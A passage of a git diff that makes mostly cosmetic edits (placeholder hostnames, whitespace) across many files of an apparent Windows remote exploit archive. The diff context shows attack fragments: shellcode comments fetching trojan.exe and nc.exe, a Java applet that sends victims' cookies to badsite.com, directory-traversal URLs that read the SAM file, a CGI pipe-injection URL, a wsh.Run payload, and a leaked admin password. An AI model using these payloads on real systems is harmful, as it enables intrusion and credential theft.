'http://www.server/someguy/trojan.exe' +# ; push edi ; 'http://www.site.com/someguy/trojan.exe' # ; lea edi, [edi+39] # ; same goes for the filename below :o) # db 'c:\nc.exe',0ffh diff --git a/platforms/windows/remote/133.pl b/platforms/windows/remote/133.pl index 708b280fd..14cf523a9 100755 --- a/platforms/windows/remote/133.pl +++ b/platforms/windows/remote/133.pl @@ -213,14 +213,14 @@ exit; # ; to also alter the offsets in the 0ffh to null # ; byte search! # ; for example: -# ; db 'http://www.server/someguy/trojan.exe',0ffh +# ; db 'http://www.site.com/someguy/trojan.exe',0ffh # ; count the length of the url, and add one for the 0ffh byte. # ; The above url is 38 bytes long, plus one for our null, is 39 bytes. # ; find the code saying (at the start of the shellcode): # ; push edi ; 'http://www.elitehaven.net/ncat.exe' # ; lea edi, [edi+35] # ; and make it: -# ; push edi ; 'http://www.server/someguy/trojan.exe' +# ; push edi ; 'http://www.site.com/someguy/trojan.exe' # ; lea edi, [edi+39] # ; same goes for the filename below :o) # db 'c:\nc.exe',0ffh diff --git a/platforms/windows/remote/14257.py b/platforms/windows/remote/14257.py index 85d618f90..942a0b0e6 100755 --- a/platforms/windows/remote/14257.py +++ b/platforms/windows/remote/14257.py @@ -46,4 +46,4 @@ print FILE $code.$junk.$more.$nops.$shell; close(FILE); print "[*] Use Backtrack! place httpd.conf in /etc/apache2/ and start apache.\n"; -print "[*] Have Someone Connect to your Server /sploit.\n"; \ No newline at end of file +print "[*] Have Someone Connect to your Server /sploit.\n"; \ No newline at end of file diff --git a/platforms/windows/remote/14385.html b/platforms/windows/remote/14385.html index 3e1c4110f..5020adbb0 100755 --- a/platforms/windows/remote/14385.html +++ b/platforms/windows/remote/14385.html @@ -43,3 +43,4 @@ onmouseover="document.location='http://www.Securitylab.ir/ClickJacking';"> </html> + \ No newline at end of file diff --git a/platforms/windows/remote/14447.html b/platforms/windows/remote/14447.html index 805155ee0..a5df01493 100755 --- a/platforms/windows/remote/14447.html +++ b/platforms/windows/remote/14447.html @@ -31,3 +31,4 @@ function clickjack_armor(evt) </center></body></html> + \ No newline at end of file diff --git a/platforms/windows/remote/14658.txt b/platforms/windows/remote/14658.txt index c2119f785..236a7ab29 100755 --- a/platforms/windows/remote/14658.txt +++ b/platforms/windows/remote/14658.txt @@ -1,4 +1,4 @@ -|------------------------------------------------------------------| + |------------------------------------------------------------------| | __ __ | | _________ ________ / /___ _____ / /____ ____ _____ ___ | | / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ | diff --git a/platforms/windows/remote/15235.html b/platforms/windows/remote/15235.html index f6b4bf077..210dfb08d 100755 --- a/platforms/windows/remote/15235.html +++ b/platforms/windows/remote/15235.html @@ -191,4 +191,4 @@ arg5="defaultV" target.InitLicenKeys arg1 ,arg2 ,arg3 ,arg4 ,arg5 </script> </html> - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/windows/remote/15288.txt b/platforms/windows/remote/15288.txt index db9fc72b1..fcf385f46 100755 --- a/platforms/windows/remote/15288.txt +++ b/platforms/windows/remote/15288.txt @@ -11,23 +11,23 @@ The Proof of Concept (PoC) demonstrates that a Cross Site Request Forgery (XSRF) The following assumptions are made in this PoC: -1. The virtual hosts www.targetsite.net and www.badserver resolve to the same IP address; -2. A malicious user controls www.badserver web site; +1. The virtual hosts www.targetsite.net and www.badsite.com resolve to the same IP address; +2. A malicious user controls www.badsite.com web site; 3. A malicious user targets www.targetsite.net users. The following table summarises the sequence of actions shown in demo: 1 User has a valid cookie for www.targetsite.net -2 The same user visits www.badserver which performs a cross site forged +2 The same user visits www.badsite.com which performs a cross site forged request to www.targetsite.net . The forged request is performed by a Java Applet embedded on the malicious site. The Java Applet bypasses the Same-of- Origin policy (SOP) as an unsigned Java Applet should not be able to communica - from www.badserver to www.targetsite.net without a crossdomain.xml + from www.badsite.com to www.targetsite.net without a crossdomain.xml policy file. 3 Java Applet performs first GET request to www.targetsite.net. At this stage, th Java Applet already controls the Cookie: header sent to www.targetsite.net through the getRequestProperty("cookie") method. This is in breach with SOP. 4 A second request is done for the purpose of the demo which leaks - www.targetsite.net cookie’s to www.badserver via an HTTP GET request. + www.targetsite.net cookie’s to www.badsite.com via an HTTP GET request. Testing was successfully performed using Java(TM) SE Runtime Environment (build 1.6.0_21-b07) and the following browsers (all Windows XP): @@ -73,7 +73,7 @@ public class MaliciousJavaApplet extends java.applet.Applet { String cookie; cookie = connection.getRequestProperty("cookie"); URL url2 = new -URL("http://www.badserver/default.html?cookie="+cookie); +URL("http://www.badsite.com/default.html?cookie="+cookie); URLConnection connection2; String inputLine2; BufferedReader inReader2; diff --git a/platforms/windows/remote/15450.txt b/platforms/windows/remote/15450.txt index 9b77d176f..c3930ff46 100755 --- a/platforms/windows/remote/15450.txt +++ b/platforms/windows/remote/15450.txt @@ -1,6 +1,6 @@ # Exploit title: FileCOPA FTP Server 6.01 directory traversal # Date: 07.11.2010 -# Software Link: http://www.filecopa-ftpserver/ +# Software Link: http://www.filecopa-ftpserver.com/ # Version: 6.01 # Tested on: Windows XP SP3 Professional # Author: Pawel h0wl Wylecial diff --git a/platforms/windows/remote/15868.pl b/platforms/windows/remote/15868.pl index 7c895f8f3..0d910e5fe 100755 --- a/platforms/windows/remote/15868.pl +++ b/platforms/windows/remote/15868.pl @@ -40,7 +40,7 @@ if (@ARGV < 3) { print("HOST - An host using QuickPHP Web Server\r\n"); print("PORT - Port number\r\n"); print("FILE - The file you want to get\r\n"); - print("Example: " .$0. " hostingserver 80 index.php\r\n\r\n"); + print("Example: " .$0. " hostingserver.com 80 index.php\r\n\r\n"); exit(1); } else { print("QuickPHP Web Server 1.10.0 Remote File Download Exploit\r\n"); diff --git a/platforms/windows/remote/15957.py b/platforms/windows/remote/15957.py index 4ef46f54c..7d46abc87 100755 --- a/platforms/windows/remote/15957.py +++ b/platforms/windows/remote/15957.py @@ -100,4 +100,4 @@ data = s.recv(1024) print " [+] Closing connection.." s.close() -print " [+] Done!" \ No newline at end of file +print " [+] Done!" \ No newline at end of file diff --git a/platforms/windows/remote/16075.pl b/platforms/windows/remote/16075.pl index 090824052..d5325519c 100755 --- a/platforms/windows/remote/16075.pl +++ b/platforms/windows/remote/16075.pl @@ -9,7 +9,7 @@ if (@ARGV < 3) { print("Vuln Found and Exploited by Zer0 Thunder\r\n"); print("***************************************************"); print("Usage: " .$0. " [ host] [ port ] [path] [ file ]\r\n"); - print("Example: " .$0. " hostingserver 80 / config.php\r\n\r\n"); + print("Example: " .$0. " hostingserver.com 80 / config.php\r\n\r\n"); exit(1); } else { print("Caedo HTTPd Server Remote File Download Exploit\r\n"); diff --git a/platforms/windows/remote/16422.rb b/platforms/windows/remote/16422.rb index 7a7da2948..c2a1b465e 100755 --- a/platforms/windows/remote/16422.rb +++ b/platforms/windows/remote/16422.rb @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) print_status("Client connected! Sending payload...") - buffer = ":my_irc_server 001 wow :Welcome to the #{datastore['SRVNAME']} wow\r\n" + buffer = ":my_irc_server.com 001 wow :Welcome to the #{datastore['SRVNAME']} wow\r\n" client.put(buffer) end diff --git a/platforms/windows/remote/17240.html b/platforms/windows/remote/17240.html index a8f8ba2ed..30143fb03 100755 --- a/platforms/windows/remote/17240.html +++ b/platforms/windows/remote/17240.html @@ -1,4 +1,4 @@ -( , ) (, + ( , ) (, . `.' ) ('. ', ). , ('. ( ) ( (_,) .`), ) _ _, diff --git a/platforms/windows/remote/18235.pl b/platforms/windows/remote/18235.pl index 8589d6481..e0a34eddc 100755 --- a/platforms/windows/remote/18235.pl +++ b/platforms/windows/remote/18235.pl @@ -4,7 +4,7 @@ # Author: Stefan Schurtz # Contact: sschurtz@t-online.de # Affected Software: Successfully tested on zFTPServer Suite 6.0.0.52 -# Vendor URL: http://www.zftpserver/ +# Vendor URL: http://www.zftpserver.com/ # Vendor Status: fixed # CVE-ID: CVE-2011-4717 # PoC-Version: 0.2 diff --git a/platforms/windows/remote/189.c b/platforms/windows/remote/189.c index a2351b8aa..23cc62280 100755 --- a/platforms/windows/remote/189.c +++ b/platforms/windows/remote/189.c @@ -27,7 +27,7 @@ int main(int argc, char **argv){ struct sockaddr_in name; struct hostent *hostinfo; if (argc < 2){ - printf ("try %s server\n", argv[0]); + printf ("try %s www.server.com\n", argv[0]); printf ("will let you play with cmd.exe of an IIS4/5 server.\n"); printf ("by incubus <incubus@securax.org>\n\n"); exit(0); diff --git a/platforms/windows/remote/19147.txt b/platforms/windows/remote/19147.txt index 2ea629906..88d593d49 100755 --- a/platforms/windows/remote/19147.txt +++ b/platforms/windows/remote/19147.txt @@ -2,6 +2,6 @@ source: http://www.securityfocus.com/bid/189/info Web-based administration for IIS 4.0 is, by default, limited to the local loopback address, 127.0.0.1. In instances where IIS4.0 was installed as an upgrade to IIS 2.0 or 3.0, a legacy ISAPI DLL (ISM.DLL) is left in the /scripts/iisadmin directory. An attacker may call this DLL via the following syntax: -http://server/scripts/iisadmin/ism.dll?http/dir +http://www.server.com/scripts/iisadmin/ism.dll?http/dir -This URL prompts the user for a username/password to access the remote administration console. Although approved access does not permit the user to commit changes to the IIS server, it may allow them to gather sensitive information about the web server and its configuration. \ No newline at end of file +This URL prompts the user for a username/password to access the remote administration console. Although approved access does not permit the user to commit changes to the IIS server, it may allow them to gather sensitive information about the web server and its configuration. \ No newline at end of file diff --git a/platforms/windows/remote/19149.c b/platforms/windows/remote/19149.c index 05daeacb7..1baaf99ee 100755 --- a/platforms/windows/remote/19149.c +++ b/platforms/windows/remote/19149.c @@ -98,4 +98,4 @@ printf("\n%s\n\n",resp); closesocket(sock); return 0; -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/windows/remote/19156.txt b/platforms/windows/remote/19156.txt index d190e5875..842ec8248 100755 --- a/platforms/windows/remote/19156.txt +++ b/platforms/windows/remote/19156.txt @@ -25,4 +25,4 @@ Window spoofing: http://horoznet.com/AlpSinan/webspoof.htm Cross-frame security circumvention -http://horoznet.com/AlpSinan/crossframe.htm \ No newline at end of file +http://horoznet.com/AlpSinan/crossframe.htm \ No newline at end of file diff --git a/platforms/windows/remote/19164.txt b/platforms/windows/remote/19164.txt index 4378e8780..2b1aea18a 100755 --- a/platforms/windows/remote/19164.txt +++ b/platforms/windows/remote/19164.txt @@ -8,4 +8,4 @@ function GetClipBoard() { tb.paste(); // paste over the MS Forms 2.0 TextBox document.forms(0).S1.value=tb.text; // moves the text to the text area box -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/windows/remote/19208.txt b/platforms/windows/remote/19208.txt index b27d8661f..e445cd69e 100755 --- a/platforms/windows/remote/19208.txt +++ b/platforms/windows/remote/19208.txt @@ -8,4 +8,4 @@ The URL below contains the syntax to view the SITE.CSC file in a default install http://sitename/adsamples/config/site.csc -A text editor may be used to view the contents of the SITE.CSC file. This file may contain the DSN, username, and password used to access the related SQL database. \ No newline at end of file +A text editor may be used to view the contents of the SITE.CSC file. This file may contain the DSN, username, and password used to access the related SQL database. \ No newline at end of file diff --git a/platforms/windows/remote/19239.txt b/platforms/windows/remote/19239.txt index cf0ae3f40..97c81b76a 100755 --- a/platforms/windows/remote/19239.txt +++ b/platforms/windows/remote/19239.txt @@ -7,4 +7,4 @@ The full physical path name for the IIS web server root directory may be obtaine will return: Error Performing Query -Error processing file 'c:\inetpub\scripts\samples\hackme.idc' \ No newline at end of file +Error processing file 'c:\inetpub\scripts\samples\hackme.idc' \ No newline at end of file diff --git a/platforms/windows/remote/19435.html b/platforms/windows/remote/19435.html index b7baf77fd..d047c85dc 100755 --- a/platforms/windows/remote/19435.html +++ b/platforms/windows/remote/19435.html @@ -78,3 +78,4 @@ window.open('/toto?s=76000007', '_geo_toto', 'width=515,height=125'); // --> </SCRIPT> <!-- </SERVICE> --> + \ No newline at end of file diff --git a/platforms/windows/remote/19468.txt b/platforms/windows/remote/19468.txt index d5773018b..376d89cef 100755 --- a/platforms/windows/remote/19468.txt +++ b/platforms/windows/remote/19468.txt @@ -54,4 +54,4 @@ classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>alert( r0x!');wsh.Run('c:\\command.com');</"+"SCRIPT>"; scr.write(); </script> -</p> \ No newline at end of file +</p> \ No newline at end of file diff --git a/platforms/windows/remote/19491.txt b/platforms/windows/remote/19491.txt index c8c41f0d1..22c2409a7 100755 --- a/platforms/windows/remote/19491.txt +++ b/platforms/windows/remote/19491.txt @@ -14,4 +14,4 @@ making the entire password: np7m4qM1M7VT<tab>= this password can be entered from the command line with quotation marks around it. -net use \\172.16.1.101\ipc$ "np7m4qM1M7VT =" /user:172.16.1.101\netectagentadmin$ \ No newline at end of file +net use \\172.16.1.101\ipc$ "np7m4qM1M7VT =" /user:172.16.1.101\netectagentadmin$ \ No newline at end of file diff --git a/platforms/windows/remote/19537.txt b/platforms/windows/remote/19537.txt index 38aee98e1..d383247f3 100755 --- a/platforms/windows/remote/19537.txt +++ b/platforms/windows/remote/19537.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/689/info TeamTrack 3.00 has a built-in webserver which is meant to be used during the evaluation period, or until IIS or Netscape Enterprise/FastTrack is installed. This server does not filter out requested paths containing the ../ sequence. Because of this, an attacker can specify a file outside of the normal web file structure. The name and relative path (from the web root) of the file must be known by the attacker. Requesting the following URL from the TeamTrack server will display the contents of the target's SAM file: (NT only) -http ://server/../../../../../winnt/repair/sam._ \ No newline at end of file +http ://target.com/../../../../../winnt/repair/sam._ \ No newline at end of file diff --git a/platforms/windows/remote/19539.txt b/platforms/windows/remote/19539.txt index 10549eafe..a70bbd603 100755 --- a/platforms/windows/remote/19539.txt +++ b/platforms/windows/remote/19539.txt @@ -14,4 +14,4 @@ document.execCommand("InsertParagraph",false,">\"STYLE='left:expression(eval(Str } setTimeout('f()',2000); </SCRIPT> -<IFRAME ID="I1" SRC="file://c:/test.txt"></IFRAME> \ No newline at end of file +<IFRAME ID="I1" SRC="file://c:/test.txt"></IFRAME> \ No newline at end of file diff --git a/platforms/windows/remote/19540.txt b/platforms/windows/remote/19540.txt index 57fdc7d07..aa35bb366 100755 --- a/platforms/windows/remote/19540.txt +++ b/platforms/windows/remote/19540.txt @@ -6,4 +6,4 @@ The Jana webserver is susceptible to directory traversal attacks using multiple http&nbsp;://target/./.././.././.././win.ini or -http&nbsp;://target/....../autoexec.bat \ No newline at end of file +http&nbsp;://target/....../autoexec.bat \ No newline at end of file diff --git a/platforms/windows/remote/19559.txt b/platforms/windows/remote/19559.txt index fbf200398..90acd38fd 100755 --- a/platforms/windows/remote/19559.txt +++ b/platforms/windows/remote/19559.txt @@ -8,7 +8,7 @@ A malicious web site operator could design a web page that, when visited by an I 2) The web site instructs the client to open another IE5 browser window and display the contents of a file residing on the IE5 user's host (or another host on the network to which the IE5 user has access). -3) Immediately after opening the new browser window, the window is instructed to browse to a specified web site ie: http://malicious server/hack.cgi?doit. +3) Immediately after opening the new browser window, the window is instructed to browse to a specified web site ie: http://malicious server.com/hack.cgi?doit. 4) The hack.cgi?doit page does not return a web page, but instead redirects the window to a javascript URL containing embedded executable code. diff --git a/platforms/windows/remote/19568.txt b/platforms/windows/remote/19568.txt index 9a1eacd30..34791b242 100755 --- a/platforms/windows/remote/19568.txt +++ b/platforms/windows/remote/19568.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/746/info The URL Live! free webserver from Pacific software is susceptible to the "../" directory traversal vulnerability. By using the '../' string in a URL, an attacker can gain read access to files outside the intended web file structure. Example: -http ://xyz.com/../../../config.sys \ No newline at end of file +http ://xyz.com/../../../config.sys \ No newline at end of file diff --git a/platforms/windows/remote/19587.txt b/platforms/windows/remote/19587.txt index 568ccb3f8..87b3eba01 100755 --- a/platforms/windows/remote/19587.txt +++ b/platforms/windows/remote/19587.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/762/info Certain versions of the AN-HTTPd server contain default CGI scripts that allow code to be executed remotely. This is due to poor sanity checking on user supplied data. -http://www.xxx.yy/cgi-bin/input.bat?|dir..\..\windows \ No newline at end of file +http://www.xxx.yy/cgi-bin/input.bat?|dir..\..\windows \ No newline at end of file diff --git a/platforms/windows/remote/19589.txt b/platforms/windows/remote/19589.txt index 249138feb..74fe36bf2 100755 --- a/platforms/windows/remote/19589.txt +++ b/platforms/windows/remote/19589.txt @@ -15,4 +15,4 @@ blablabla . > 250 Mail accepted. -This will cause the mail server to create a root directory called "createdir", which will contain 1 file. Testing indicates that this method cannot be used to overwrite existing folders. \ No newline at end of file +This will cause the mail server to create a root directory called "createdir", which will contain 1 file. Testing indicates that this method cannot be used to overwrite existing folders. \ No newline at end of file diff --git a/platforms/windows/remote/19601.txt b/platforms/windows/remote/19601.txt index 6fcc45f8d..5f4011e87 100755 --- a/platforms/windows/remote/19601.txt +++ b/platforms/windows/remote/19601.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/773/info Etype's Eserv product is designed to be a one-source internet connectivity solution, incorporating mail, web, ftp, and proxy servers into one package. The web server will allow remote browsing of the entire filesystem by the usage of ../ strings in the URL. This gives an attacker read access to every file on the server's filesystem that the webserver has access to. -http://victim.com/../../../autoexec.bat \ No newline at end of file +http://victim.com/../../../autoexec.bat \ No newline at end of file diff --git a/platforms/windows/remote/19618.txt b/platforms/windows/remote/19618.txt index 75adf5b03..00c54a707 100755 --- a/platforms/windows/remote/19618.txt +++ b/platforms/windows/remote/19618.txt @@ -24,4 +24,4 @@ alert("File exists"); <FORM> <INPUT TYPE="TEXT" VALUE="C:\AUTOEXEC.BAT" SIZE=60> <INPUT TYPE="SUBMIT" VALUE="Check file" onclick="checkfile()"> -</FORM> \ No newline at end of file +</FORM> \ No newline at end of file diff --git a/platforms/windows/remote/19637.txt b/platforms/windows/remote/19637.txt index 765f408e2..ae85d5df7 100755 --- a/platforms/windows/remote/19637.txt +++ b/platforms/windows/remote/19637.txt @@ -21,4 +21,4 @@ normal):<BR>"+s); a.document.close(); } setTimeout("f()",5000); -</SCRIPT> \ No newline at end of file +</SCRIPT> \ No newline at end of file diff --git a/platforms/windows/remote/19724.txt b/platforms/windows/remote/19724.txt index 7184cc2fa..b0f1874fb 100755 --- a/platforms/windows/remote/19724.txt +++ b/platforms/windows/remote/19724.txt @@ -4,4 +4,4 @@ ICQ is an individual to individual chat network which has clients installed on m Sending the following URL (with no line breaks) in a regular message to a user will cause their ICQ to crash (just a basic proof of concept, no real malicious exploit code included here) if they click on it: -http://www.yahoo.com/sites.asp?^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð!!!!·P !^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð \ No newline at end of file +http://www.yahoo.com/sites.asp?^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð!!!!·P !^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð \ No newline at end of file diff --git a/platforms/windows/remote/19734.java b/platforms/windows/remote/19734.java index ea2b3f453..444c41f7c 100755 --- a/platforms/windows/remote/19734.java +++ b/platforms/windows/remote/19734.java @@ -50,4 +50,4 @@ outputArea.setText(e.toString()); } } } -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/windows/remote/19738.txt b/platforms/windows/remote/19738.txt index b0df45acc..6a96ba7e1 100755 --- a/platforms/windows/remote/19738.txt +++ b/platforms/windows/remote/19738.txt @@ -6,4 +6,4 @@ Example code: <SCRIPT> a=window.open("about:<A HREF='javascript:alert(x.body.innerText)' >Click here to see the active message</A>"); a.x=window.document; -</SCRIPT> \ No newline at end of file +</SCRIPT> \ No newline at end of file diff --git a/platforms/windows/remote/19753.txt b/platforms/windows/remote/19753.txt index 1a48aaf6d..262ace9b0 100755 --- a/platforms/windows/remote/19753.txt +++ b/platforms/windows/remote/19753.txt @@ -4,4 +4,4 @@ Microsoft's Personal Web Server and Front Page Personal Web Server will follow ' Note that while these programs support Windows 95, 98 and NT, only the Win9x versions are vulnerable. -http://target/..../directory/filename.ext \ No newline at end of file +http://target/..../directory/filename.ext \ No newline at end of file diff --git a/platforms/windows/remote/19815.txt b/platforms/windows/remote/19815.txt index c5107e608..840aede1f 100755 --- a/platforms/windows/remote/19815.txt +++ b/platforms/windows/remote/19815.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1067/info Some versions of vqSoft vqServer for Windows are vulnerable to the common ../../ method of retrieving known files from outside of the web directory structure, accomplished by appending a variable number of "../" and a known filename to an HTTP GET request. -http://target/../../../../../autoexec.bat \ No newline at end of file +http://target/../../../../../autoexec.bat \ No newline at end of file diff --git a/platforms/windows/remote/19819.txt b/platforms/windows/remote/19819.txt index 891c512f7..bb3fe723e 100755 --- a/platforms/windows/remote/19819.txt +++ b/platforms/windows/remote/19819.txt @@ -11,4 +11,4 @@ In command line mode, all delivery options are specified at the command line as In header parsing mode, a file is specified with the -n switch that contains a set of headers at the beginning of the file, separated from the message body by a single blank line. Therefore, if an attacker can create a file on the system that includes an 'Attach:' header, they can then specify that file with the -n switch and wait for the file listed in the 'Attach' header to arrive via email. To retrieve any known ascii file from the target webserver, enter a URL like: -http: //target/cgi-bin/windmail.exe?%20-n%20desired.file%20attacker_email_address \ No newline at end of file +http: //target/cgi-bin/windmail.exe?%20-n%20desired.file%20attacker_email_address \ No newline at end of file diff --git a/platforms/windows/remote/19846.pl b/platforms/windows/remote/19846.pl index 3504e9b97..5ffaaf570 100755 --- a/platforms/windows/remote/19846.pl +++ b/platforms/windows/remote/19846.pl @@ -6,4 +6,4 @@ The dvwssr.dll included with the FrontPage 98 extensions for IIS and shipped as #!/usr/bin/perl print "GET /_vti_bin/_vti_aut/dvwssr.dll?"; print "a" x 5000; -print " HTTP/1.1\nHost: yourhost\n\n"; \ No newline at end of file +print " HTTP/1.1\nHost: yourhost\n\n"; \ No newline at end of file diff --git a/platforms/windows/remote/19939.html b/platforms/windows/remote/19939.html index 